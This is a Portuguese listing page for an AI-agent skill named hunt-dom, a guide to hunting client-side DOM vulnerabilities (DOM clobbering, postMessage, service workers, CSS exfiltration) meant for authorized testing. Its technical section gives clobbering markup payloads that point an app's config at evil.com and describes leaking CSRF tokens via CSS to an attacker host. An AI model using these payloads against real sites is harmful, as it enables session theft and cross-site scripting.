hunt-dom
Ajuda seu agente a encontrar vulnerabilidades no DOM do lado do cliente. Melhora a segurança de aplicações web.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em sites que podem ser exploradas pelo navegador do usuário. Ela procura por maneiras de enganar o site para que ele execute código malicioso ou revele informações secretas.
Quando usar
- ✓Ao testar a segurança de um site que você tem permissão para analisar.
- ✓Para entender como ataques no navegador podem afetar um site.
- ✓Ao aprender sobre vulnerabilidades web e como elas funcionam.
Exemplo do que pedir para a IA
“Procure por vulnerabilidades de 'DOM Clobbering' no site example.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta analisa o código do site em busca de padrões que podem ser explorados. Ela verifica se o site confia em informações vindas do navegador sem a devida validação, o que pode levar a ataques.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-domOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-dom/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
Alvos Principais
Ataques baseados em DOM executam no navegador da vítima — o servidor muitas vezes nunca vê o payload, então WAFs e filtros de entrada do lado do servidor não se aplicam. PostMessage sem verificação de origem = roubo de token cross-origin sem necessidade de XSS.
Cadeias de maior valor:
- DOM Clobbering → DOM-XSS / bypass de autenticação — Injeção de markup HTML (sem
<script>) sobrescreve um global JS comowindow.configou sombreiadocument.getElementById, e o aplicativo posteriormente trata esse valor como um URL/código → o sink dispara sob uma injeção apenas de markup onde o script é filtrado. - PostMessage sem verificação de origem → roubo de sessão / DOM-XSS — um manipulador
messageque confia emevent.datasem validarevent.originpermite que um atacante iframe/opener execute ações privilegiadas ou alimente um sink. - Abuso de Service Worker — registre um script SW same-origin (alcançável por upload / open-redirect / caminho que o alvo serve) via XSS armazenado → intercepte todos os
fetchno escopo → captura persistente de credenciais. - CSS Exfil — seletores de valor de atributo (
input[value^="a"]) vazam um token CSRF / chave de API / nonce caractere por caractere para um host OOB com zero JS.
Fundamentação — pesquisa pública da qual isso é destilado
- DOM Clobbering / DOM-Invader — Gareth Heyes & o tópico "DOM clobbering" da PortSwigger Web Security Academy; DOM-Invader inclui um scanner dedicado de clobbering. A taxonomia de sinks mapeia para os laboratórios de vulnerabilidade baseados em DOM da academia.
- Bypasses de DOMPurify clobbering e mXSS — série de blogs de Michał Bentkowski (Securitum) sobre como contornar sanitizadores HTML via clobbering e mutation XSS.
- jQuery
htmlPrefilterXSS de tag auto-fechamento — CVE-2020-11022 e CVE-2020-11023 (jQuery < 3.5.0). Passar HTML do atacante para.html()/.append()o transforma em markup executável. Faça grep na versão do jQuery incluída; esta é uma das raízes de DOM-XSS mais comuns no mundo real. - Exfiltração CSS — pesquisa de d0nut "CSS Injection Attacks" / "Stealing Data With CSS" (recursão sequencial de
@importpara remover a restrição de posição por caractere).Cite apenas o que você reproduz. Não cole isso como "prova" em um relatório — seu PoC contra o alvo ativo é a evidência. A pesquisa nomeada aqui é para proveniência da técnica, não para inflar a gravidade.
Sinais da Superfície de Ataque
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough
Fase 1 — DOM Clobbering
# Sinal: o aplicativo lê IDs/nomes de elementos como se fossem objetos JS, OU alimenta
# um global clobberable em um sink (location, innerHTML, eval, script.src).
# Injete MARKUP (sem script) em um sink que permita elementos nomeados/identificados.
# Clobber de nível único de window.config:
# <a id="config" href="https://evil.com">
# Clobber um global NÃO embutido que o aplicativo lê (métodos embutidos como getElementById não podem ser sombreados desta forma):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolve para um elemento/string controlado pelo atacante
# Clobber um valor de URL convertido para string (toString() da âncora == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# window.a.b.c aninhado via form/inputs:
…
Perguntas frequentes
O que é 'DOM Clobbering'?
É uma técnica onde um código malicioso, disfarçado de marcação HTML (como um link ou formulário), engana o JavaScript do site para que ele use essa marcação como se fosse um código ou um endereço perigoso.
O que é 'PostMessage'?
É uma forma de comunicação entre diferentes partes de um site que rodam no navegador. Se não for usada corretamente, um site malicioso pode enviar mensagens perigosas para outra parte do site.
O que é 'CSS Exfil'?
É uma técnica que usa estilos CSS para roubar informações do site, como tokens de segurança, enviando-as secretamente para um servidor controlado pelo atacante, sem precisar de código JavaScript.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3255
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC